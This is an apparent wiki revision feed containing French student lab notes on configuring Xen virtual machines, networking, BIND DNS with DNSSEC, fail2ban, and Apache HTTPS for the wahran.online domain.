&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# ls /etc/bind/keys&lt;br /&gt;
Kwahran.online.+013+17231.key	   Kwahran.online.+013+62188.key&lt;br /&gt;
Kwahran.online.+013+17231.private  Kwahran.online.+013+62188.private&lt;br /&gt;
Kwahran.online.+013+17231.state    Kwahran.online.+013+62188.state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de ns.wahran.online, pour l'instant le site indique une erreur : wahran.online zone: The server(s) were not responsive to queries over UDP.&lt;br /&gt;
&lt;br /&gt;
J'essaye de regler cela.&lt;br /&gt;
&lt;br /&gt;
=Fail2Ban=&lt;br /&gt;
Nous pouvons implémenter une fonctionnalité pour sécuriser notre VM : bannir une IP après plusieurs tentative de connexions ssh raté.&lt;br /&gt;
dans /etc/fail2ban/jail.local nous ajoutons ces options:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable	= true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter	= sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après 5 tentative de ssh échouée, l'IP en question sera banni 10 minutes:&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/wahran.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/myserver.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (wahran.online) dans le répertoire `/etc/apache2/sites-available/000-wahran.online-ssl.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12089</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12089"/>
		<updated>2026-02-07T16:12:30Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Partitions */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des VM: ==&lt;br /&gt;
Pour créer nos VM avec xen (2 VM services + 1 VM mandataire):&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dir=/usr/local/xen --dist=excalibur --size=10GB --memory=1024M --bridge=pontclio --dhcp &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les ajouter dans le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.RS7&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.RS7-home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.RS7-var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour monter le &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration des VM: ==&lt;br /&gt;
&lt;br /&gt;
rajouter un vif dans le fichier de configuration de la VM:&lt;br /&gt;
dans &amp;lt;code&amp;gt;/etc/xen/SE4.RS7.cfg&amp;lt;/code&amp;gt; :&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
vif         = [ 'mac=00:16:3E:D3:58:AD,bridge=pontclio', &lt;br /&gt;
                'mac=00:16:3E:D3:58:AE,bridge=SE4' ]     #vif ajouté&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite dans la VM ajouter les interfaces dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.170.0.2/24&lt;br /&gt;
        gateway 192.170.0.1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Relancer la VM puis après un &amp;lt;code&amp;gt;ifup&amp;lt;/code&amp;gt; on remarque que nos interfaces sont actives :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
root@C2:~# ip link show&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP mode DEFAULT group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:58:ad brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP mode DEFAULT group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:58:ae brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(J'ai fais une petite erreur sur cette partie car j'ai assigné /dev/xvdb1 à /var alors que ce n'était pas le bon, /var était sur xvda3, cette erreur n'est pas si grave je vais juste devoir faire attention à bien différencier /var et /home par la suite)&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var (xvda3 pour moi), or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.0.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.0.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.0.1&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
#iface eth0 inet dhcp&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.162/28&lt;br /&gt;
    gateway 193.48.57.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après avoir fait un ifdown et un ifup nous pouvons envoyer des pings entre nos VM de service et avec la VM mandataire:&lt;br /&gt;
&lt;br /&gt;
Ping de SE4.Gtr (192.168.0.2) vers SE4.Gyro (192.168.0.3):&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping gyro.png|vignette|center]]&lt;br /&gt;
&lt;br /&gt;
Ping de SE4.Gtr (192.168.0.2) vers SE4.Pegase (192.168.0.1):&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping pegase.png|vignette|center]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search wahran.online&lt;br /&gt;
nameserver 192.168.0.2&lt;br /&gt;
nameserver 192.168.0.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour wahran.online et une zone secondaire pour alloco.online.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier wahran.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 100&lt;br /&gt;
&lt;br /&gt;
@	IN	SOA	ns.wahran.online.	postmaster.wahran.online. (&lt;br /&gt;
	3600	; Version&lt;br /&gt;
	21600	; Refresh secondary	(6h)&lt;br /&gt;
	3600	; Retry secondary	(1h)&lt;br /&gt;
	2592000	; Expire if no refresh	(30 jours)&lt;br /&gt;
	86400	; Negative cache	(24h)&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
; Enregistrements des serveurs de noms&lt;br /&gt;
@	IN	NS	ns.wahran.online.&lt;br /&gt;
@	IN	NS	ns2.alloco.online.&lt;br /&gt;
&lt;br /&gt;
; Enregistrements AAAA (IPv6)&lt;br /&gt;
ns	IN AAAA		2001:660:4401:60a0:216:3eff:fe32:8fa2&lt;br /&gt;
&lt;br /&gt;
: Enregistrements A (IPv4)&lt;br /&gt;
ns	IN A		193.48.57.164&lt;br /&gt;
&lt;br /&gt;
; Enregistrements CNAME&lt;br /&gt;
www	IN CNAME	wahran.online&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/wahran.online# named-checkzone wahran.zone wahran.zone &lt;br /&gt;
zone wahran.zone/IN: loaded serial 3601&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker. Comme le montre cet capture d'écran, la propagation est bien effective dans la zone de Lille avec une adresse IPv6 :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS_Lille.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
